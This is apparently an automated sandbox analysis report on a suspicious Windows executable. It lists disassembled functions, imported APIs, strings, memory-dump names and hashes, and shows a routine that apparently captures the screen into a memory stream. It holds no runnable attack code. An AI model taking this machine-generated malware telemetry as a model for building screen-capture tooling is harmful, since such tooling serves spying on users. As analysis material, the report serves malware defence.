a, xrefs: 00007FF6350E4EA2
rm, xrefs: 00007FF6350E4EB6

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen
String ID: a$a$rm
API String ID: 39653677-3573517395
Opcode ID: c7bf3fc4039771aa151d5a77072f9711761caae911655a942766ef051505f1bc
Instruction ID: 487ca2f4e7c3031fe4b999dd83727c5a305cf84567749db1ef2e1279e76deae8
Opcode Fuzzy Hash: c7bf3fc4039771aa151d5a77072f9711761caae911655a942766ef051505f1bc
Instruction Fuzzy Hash: B9B11072908BC2C5E7568F28C0183E93A91EB25F4CF1C8135CB894F799DFBE98569361

Function 00007FF6351C5D20 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6351C5DE6
memcpy.MSVCRT ref: 00007FF6351C5E1E
memcpy.MSVCRT ref: 00007FF6351C5E70

Strings

basic_string::_M_create, xrefs: 00007FF6351C5EC7

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: a8466455f48f34cbcacbad28185616ab40d0001ae848e4642dd8ce78300a4c7c
Instruction ID: d22ac977e4b0184d49061ea6b49f1e5196b50dcb1bbba13930a4a014a9378736
Opcode Fuzzy Hash: a8466455f48f34cbcacbad28185616ab40d0001ae848e4642dd8ce78300a4c7c
Instruction Fuzzy Hash: AC61A162E19A9790EA258B25C4042B963A1EF41FD4F858631DA1D977DCEF3EE982D300

Function 00007FF6350EFE10 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00007FF6350EFF44

Part of subcall function 00007FF6350F6D60: ___lc_codepage_func.MSVCRT ref: 00007FF6350F6D7F

fputc.MSVCRT ref: 00007FF6350EFEB8

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ___lc_codepage_funcfputclocaleconv
String ID:
API String ID: 1339002523-0
Opcode ID: ce1dac330c6f27128e61fe827faa414519fca3154a38c89fa2bd38bea5801416
Instruction ID: 37e9e4e3ed6c321080506328f7919565c0fd7df523b78eff7d48a07bfc9a50c6
Opcode Fuzzy Hash: ce1dac330c6f27128e61fe827faa414519fca3154a38c89fa2bd38bea5801416
Instruction Fuzzy Hash: C2515C73A1594389E7208F28C14136937E1EB45F98F256235EB0C87389DF2AED41E740

Function 00007FF6351B9BF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6351B9C7C
memcpy.MSVCRT ref: 00007FF6351B9C99

Strings

basic_string::_M_replace, xrefs: 00007FF6351B9D2D
basic_ios::clear, xrefs: 00007FF6351B9BF4

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy
String ID: basic_ios::clear$basic_string::_M_replace
API String ID: 3510742995-1781676995
Opcode ID: 9e4550a019cffcd376447f221df9850e9f31bf033150585d54ede76ce84063a6
Instruction ID: 7137ed622c5dfb7de1788577ea3f9cef7ad1f636c4a989eb2dca6d683e50f7f2
Opcode Fuzzy Hash: 9e4550a019cffcd376447f221df9850e9f31bf033150585d54ede76ce84063a6
Instruction Fuzzy Hash: 0C310821B0D68740EA21AF26D5046B966A0EB51FE4F584A31ED2D877DDCF2CE943E304

Function 00007FF6350DC01B Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350DC086

Strings

: , xrefs: 00007FF6350DC0C9
, xrefs: 00007FF6350E422B
new , xrefs: 00007FF6350E41C2

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: $ : $new
API String ID: 1004003707-2075650739
Opcode ID: 3fc4c2fb453cfd023dde4cb91d12fe7f9a63e258c5c55c3d849b597dfd20e7c1
Instruction ID: 8fe5063e5dda68ba2b0f7fda8384ea491b49588a6972e9f0108447b1ce186812
Opcode Fuzzy Hash: 3fc4c2fb453cfd023dde4cb91d12fe7f9a63e258c5c55c3d849b597dfd20e7c1
Instruction Fuzzy Hash: 3A419072B48B4781E7159A62E8003F92650EB91FD4F585035CF0D8B786EFBEDC81A350

Function 00007FF63518B7B0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 87stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF63518B7D8
memcpy.MSVCRT ref: 00007FF63518B807

Strings

basic_string::_M_replace, xrefs: 00007FF63518B7B2, 00007FF63518B890
basic_string::_S_construct null not valid, xrefs: 00007FF63518B875

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_replace$basic_string::_S_construct null not valid
API String ID: 3412268980-2381965344
Opcode ID: 79e987ffc4bcb91b5321d71e7488087a07853e24a2e21d4a92b84586f2bdd09f
Instruction ID: 30787bc82953debf526dd64e4a0bb3cacedfa116f41cad157af66e49c28b4ed0
Opcode Fuzzy Hash: 79e987ffc4bcb91b5321d71e7488087a07853e24a2e21d4a92b84586f2bdd09f
Instruction Fuzzy Hash: 4C219161E09B4784FA119B1AE8411AD67A0EF15FC4F884435DD4C8B766EE3DDC52D340

Function 00007FF6350D2590 Relevance: 6.0, APIs: 4, Instructions: 34stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 00007FF6350D25BD
strcpy_s.MSVCRT ref: 00007FF6350D25CA
_strlwr.MSVCRT ref: 00007FF6350D25D6
_strlwr.MSVCRT ref: 00007FF6350D25DB

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _strlwrstrcpy_s
String ID:
API String ID: 3746470816-0
Opcode ID: 39eff12b834902331b533afb545837a96e33ccd5846002bbcdcfc94689f971a5
Instruction ID: d314c805053cebee4286b2363dc345c875b6210c7cd3d24b9254d90266da66cf
Opcode Fuzzy Hash: 39eff12b834902331b533afb545837a96e33ccd5846002bbcdcfc94689f971a5
Instruction Fuzzy Hash: 5DF08CA175469685FE15AB23BD103E953159B86FD0F4C4032DE4D53794DD3CE6878704

Function 00007FF6350EA6B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF6350EA64B
GetLastError.KERNEL32 ref: 00007FF6350EA6B8

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF6350EA6BE

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLastQueryVirtual
String ID: VirtualProtect failed with code 0x%x
API String ID: 504369486-733738292
Opcode ID: 99177e9ec303cbc10e2a1adfcf84c78f0c9713cc82238b0c7c753296c4067b14
Instruction ID: a09e1eba3ffce8997f898b8a1c75e33b423fb82beaded155f84fa3f460995676
Opcode Fuzzy Hash: 99177e9ec303cbc10e2a1adfcf84c78f0c9713cc82238b0c7c753296c4067b14
Instruction Fuzzy Hash: C5119A32A19B0782EA118B14E8446A873A0FF8AF94F555238CA1C873E4EF3DED45A700

Function 00007FF6350EA420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Unknown error, xrefs: 00007FF6350EA50C
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 194a6ffba7f098d6450882ceade0846a3a5d892eff98fad5ff52d12c8e674ac6
Instruction ID: aaf52a5f0bdc6ca079e4416a8796e4ed82d0f4f61839b9762dc1b408ec4565b9
Opcode Fuzzy Hash: 194a6ffba7f098d6450882ceade0846a3a5d892eff98fad5ff52d12c8e674ac6
Instruction Fuzzy Hash: C4017062918E8582E6028F1CD4411EA7374FF9AB59F245321EA8C67364EF3AD9439700

Function 00007FF6350EA4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
Partial loss of significance (PLOSS), xrefs: 00007FF6350EA4D0

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: ae991bd237688d46af379bc9e2c88ae6c4cf7060aa663ad11618093b77570e75
Instruction ID: 4daac4ef0d780c032bb2ab06b76cdb0d2b580ba29c647ff6c4d51dd05e58c5e6
Opcode Fuzzy Hash: ae991bd237688d46af379bc9e2c88ae6c4cf7060aa663ad11618093b77570e75
Instruction Fuzzy Hash: 16F06252918E8982D2028F1CA4000FB7370FF8DB89F255335EF8D67265EF29E942A700

Function 00007FF6350EA4C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Argument domain error (DOMAIN), xrefs: 00007FF6350EA4C0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 11d2b9735bd3709252506aa5ba5fa1e351431b4c673cdd365ea37068437d7b3c
Instruction ID: d0e1b20f05caa84975b84351005378e0ade9fae16e4b17e3433b12b355144952
Opcode Fuzzy Hash: 11d2b9735bd3709252506aa5ba5fa1e351431b4c673cdd365ea37068437d7b3c
Instruction Fuzzy Hash: 8AF06252918E8582D2029F1CA4000FB7370FF8EB89F255335EF8D77265EF2AD942A700

Function 00007FF6350EA4F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6350EA4F0

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 62e2639ade3852005c6560a781b013c3a86ab195a2881249103c75c778e9902b
Instruction ID: 0d574d366aba5128fe26a29a123ac5f1614d210d4823be5b49a239da98442113
Opcode Fuzzy Hash: 62e2639ade3852005c6560a781b013c3a86ab195a2881249103c75c778e9902b
Instruction Fuzzy Hash: E6F04F52918E8582D2028F1CA4000EBB360FF8DB89F255325EF8D67265EF29D942A700

Function 00007FF6350EA4E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
Overflow range error (OVERFLOW), xrefs: 00007FF6350EA4E0

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 011e2c0bcc3796c487ded507d96121c6e9820a89f73ee2ebf114777c49236ea0
Instruction ID: 0d34e7e3c9232db37bdaa489decd74e0beaac37a717f483876881a749b9992bd
Opcode Fuzzy Hash: 011e2c0bcc3796c487ded507d96121c6e9820a89f73ee2ebf114777c49236ea0
Instruction Fuzzy Hash: 27F06252918E8582D2029F1CA4000FB7370FF8EB89F255335EF8D67665EF2AD942A700

Function 00007FF6350EA500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Total loss of significance (TLOSS), xrefs: 00007FF6350EA500
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 22cc9ee71a5ffac9a6ca83f9a2c6e26604571fd27d9318c0ebbd99beaa658a45
Instruction ID: ee76b8413b5013d093ba3d724f5f8b622da797d5def218d4b3b7dc7ebd827f23
Opcode Fuzzy Hash: 22cc9ee71a5ffac9a6ca83f9a2c6e26604571fd27d9318c0ebbd99beaa658a45
Instruction Fuzzy Hash: 0EF04F52918E8582D2028F1CA4000EB7360FF8DB99F255325EF8D67665EF39D942A700

Function 00007FF6350EA458 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Argument singularity (SIGN), xrefs: 00007FF6350EA458
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: a7c664df915d4e69880d0547989fba806fe34be971c47809b57ea1152bda214e
Instruction ID: 736bb71ec22ff7b2affe8186d8eb0269079e946199036324f5bd672eedce64a2
Opcode Fuzzy Hash: a7c664df915d4e69880d0547989fba806fe34be971c47809b57ea1152bda214e
Instruction Fuzzy Hash: A9F09652914E8582D202CF1CA4000EB7370FF4DB89F155325EF8C6B225DF39D5439700

Analysis Process: qflwedtkihuzyxlg.exePID: 3524, Parent PID: 1784COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	121

Executed Functions

Function 000000014007D6E0 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 225
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 000000014007D721
GetSystemMetrics.USER32 ref: 000000014007D72F
GetSystemMetrics.USER32 ref: 000000014007D73D
GetSystemMetrics.USER32 ref: 000000014007D74B
GetDC.USER32 ref: 000000014007D755
GetDeviceCaps.GDI32 ref: 000000014007D76B
GetDeviceCaps.GDI32 ref: 000000014007D77B
CreateCompatibleDC.GDI32 ref: 000000014007D788
CreateCompatibleBitmap.GDI32 ref: 000000014007D7A0
SelectObject.GDI32 ref: 000000014007D7B6
BitBlt.GDI32 ref: 000000014007D7EC
SHCreateMemStream.SHLWAPI ref: 000000014007D822
SelectObject.GDI32 ref: 000000014007D838
DeleteDC.GDI32 ref: 000000014007D841
ReleaseDC.USER32 ref: 000000014007D84C
DeleteObject.GDI32 ref: 000000014007D855
EnterCriticalSection.KERNEL32 ref: 000000014007D94C
LeaveCriticalSection.KERNEL32 ref: 000000014007D95E
IStream_Size.SHLWAPI ref: 000000014007D995
IStream_Reset.SHLWAPI ref: 000000014007D9A6
IStream_Read.SHLWAPI ref: 000000014007DA2B
SelectObject.GDI32 ref: 000000014007DA85
DeleteDC.GDI32 ref: 000000014007DA8E
ReleaseDC.USER32 ref: 000000014007DA9B
DeleteObject.GDI32 ref: 000000014007DAA4

Strings

, xrefs: 000000014007D7C1

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Object$DeleteMetricsSystem$CreateSelectStream_$CapsCompatibleCriticalDeviceReleaseSection$BitmapEnterLeaveReadResetSizeStream
String ID:
API String ID: 3214587331-3916222277
Opcode ID: 1f5b5f241d11d56750e026cecb62a887c707830555c170440663e90f84a53b41
Instruction ID: e3a4c5f85f79ae008f32d04c9c86629b48b84cda880ff6005115b69435b4f830
Opcode Fuzzy Hash: 1f5b5f241d11d56750e026cecb62a887c707830555c170440663e90f84a53b41
Instruction Fuzzy Hash: 33B10C72218BC086E761DB22F85439EB7A5F799BC0F409615EA8E43B69DF3CC085CB10

Function 00000001400B67F0 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32 ref: 00000001400B689D
GetLastError.KERNEL32 ref: 00000001400B68A7
